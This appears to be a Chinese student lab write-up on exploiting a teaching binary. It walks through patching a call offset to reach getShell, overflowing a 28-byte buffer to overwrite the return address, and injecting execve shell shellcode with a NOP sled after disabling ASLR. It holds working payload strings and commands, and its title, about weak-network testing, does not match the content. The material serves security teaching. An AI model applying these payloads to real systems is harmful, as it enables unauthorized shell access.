charles 設定弱網測試
基礎知識
NOP, JNE, JE, JMP, CMP彙編指令的機器碼:
- NOP即“空指令”,執行到NOP指令時,CPU什麼也不做,機器碼是90。
- JNE為條件轉移指令,如果不相等則跳轉。機器碼是75。(Jump Not Equal)
- JE為條件轉移指令,相等則跳轉。機器碼是74.(Jump Equal)
- JMP為無條件轉移指令。在段內直接短轉Jmp short,機器碼是EB; 段內直接近轉移Jmp near,機器碼是E9; 段內間接轉移 Jmp word,機器碼是FF; 段間直接(遠)轉移Jmp far,機器碼是EA
- CMP比較指令,功能相當於減法指令,只是對運算元之間運算比較,不儲存結果。
一、逆向及Bof基礎實踐說明
實踐目標
本次實踐的物件是一個名為pwn1的linux可執行檔案。
該程式正常執行流程是:main呼叫foo函式,foo函式會簡單回顯任何使用者輸入的字串。
該程式同時包含另一個程式碼片段,getShell,會返回一個可用Shell。正常情況下這個程式碼是不會被執行的。我們實踐的目標就是想辦法執行這個程式碼片段。我們將學習兩種方法執行這個程式碼片段,然後學習如何注入執行任何Shellcode。
三個實踐內容如下:
- 手工修改可執行檔案,改變程式執行流程,直接跳轉到getShell函式。
- 利用foo函式的Bof漏洞,構造一個攻擊輸入字串,覆蓋返回地址,觸發getShell函式。
- 注入一個自己製作的shellcode並執行這段shellcode。
這幾種思路,基本代表現實情況中的攻擊目標:
- 執行原本不可訪問的程式碼片段
- 強行修改程式執行流
- 以及注入執行任意程式碼。
二、直接修改程式機器指令,改變程式執行流程
使用objdump -d pwn20191319 | more對pwn20191319進行反彙編
可以看到,程式在80484b5這個位置呼叫了foo函式。
機器指令中e8對應在段內直接短轉Jmp short。
機器執行下一條指令的地址都儲存在eip暫存器中,如果沒有呼叫函式那麼eip暫存器中的值應該為80484ba,但是呼叫了foo函式則eip暫存器中的值應該修改:(為下一條指令的地址+e8之後的值)。
所以根據上述條件,我們可以用16進位制計算器去驗證。
即:80484ba + d7ffffff = 80484ba-29 = 8048491
我們想讓它呼叫getShell,只要修改“d7ffffff”為,"getShell-80484ba"對應的補碼就行。
已知 getShell 函式位於 804847d。
即:d7fffff 應該被修改的值=0x7d - 0xba = -0x3d = 0xc3(補碼轉換)
然後複製pwn20191319為20191319,利用vi編輯器開啟20191319,再使用命令:%!xxd 以利於觀看的十六進位制顯示方式,再用/e8 d7命令找到d7所在位置,修改d7為C3。再使用命令:%!xxd -r變回原格式。
再次反彙編檢視更改是否正確。
確認正確後並執行。
三、通過構造輸入引數,造成BOF攻擊,改變程式的執行流
使用指令objdump -d pwn20191319 | more來觀察foo函式可以看到:存在一段功能為讀入和輸出的語句。
但實際上,foo函式只給這段字串預留了一個28位元組的緩衝區(即0x1c),也就是說存在所謂的 Buffer overflow 漏洞。所以我們可以構造一個較長的輸入來覆蓋到返回地址。
下圖可以看到當輸入的為1111111122222222333333334444444455555555時,eip的值為0x35353535也就是5555的ASCII碼。
當輸入為1111111122222222333333334444444412345678時,eip的值為0x34333231也就是1234的ASCII碼。
根據我們輸入字元的順序是1234 而被覆蓋的地址的順序是4321。
故為使返回地址指向 0804847d 處的 getShell 函式,需要構造字串:11111111222222223333333344444444\x7d\x84\x04\x08。
又由於我們沒法用鍵盤輸入這樣的16進位制 所以我們使用以下指令:
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
生成一個包含這些16進位制內容的檔案
驗證以下內容是否正確:
然後將input的輸入,通過管道符“|”,作為pwn20191319的輸入。
四、注入Shellcode並執行
此實驗中,我們使用老師已經為我們準備好的shellcode。
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
首先,修改相關配置
execstack -s pwn1 //設定堆疊可執行
execstack -q pwn1 //查詢檔案的堆疊是否可執行
sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"//關閉地址隨機化
構造要注入的payload。
Linux下有兩種基本構造攻擊buf的方法:
- retaddr+nop+shellcode
- nop+shellcode+retaddr
因為retaddr在緩衝區的位置是固定的,shellcode要不在它前面,要不在它後面。
簡單說緩衝區小就把shellcode放後邊,緩衝區大就把shellcode放前邊
我們這個buf夠放這個shellcode了
結構為:anything+nops+shellcode+retaddr
nop一為是了填充,二是作為“著陸區/滑行區”。
我們猜的返回地址只要落在任何一個nop上,自然會滑到我們的shellcode。
接下來注入一段程式碼,我們使用以下指令構造一個input_shellcode
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
在該視窗執行指令
(cat input_shellcode;cat) | ./pwn20191319
再開另外一個終端,用gdb來除錯pwn20191319這個程序。
再設定斷點,來檢視注入buf的記憶體地址
disassemble foo
break *0x080484ae
檢視esp暫存器的地址
info r esp
以16進位制形式檢視0xffffd13c地址(從這開始就是Shellcode)後面16位元組的內容
x/16x 0xffffd13c
從上圖可知,返回地址應改為0xffffd140,也就是0x90909090的位置,即0xffffd13c + 0x00000004 = 0xffffd140。01020304的位置,就是返回地址的位置。shellcode就挨著,所以anything是0xffffd160。然後退出gdb。
修改注入程式碼
\x60\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x40\xd1\xff\xff\x00
然後就成功了:
結合nc模擬遠端攻擊
主機1,模擬一個有漏洞的網路服務:
-l 表示listen, -p 後加埠號 -e 後加可執行檔案,網路上接收的資料將作為這個程式的輸入
主機2,連線主機1併發送攻擊載荷: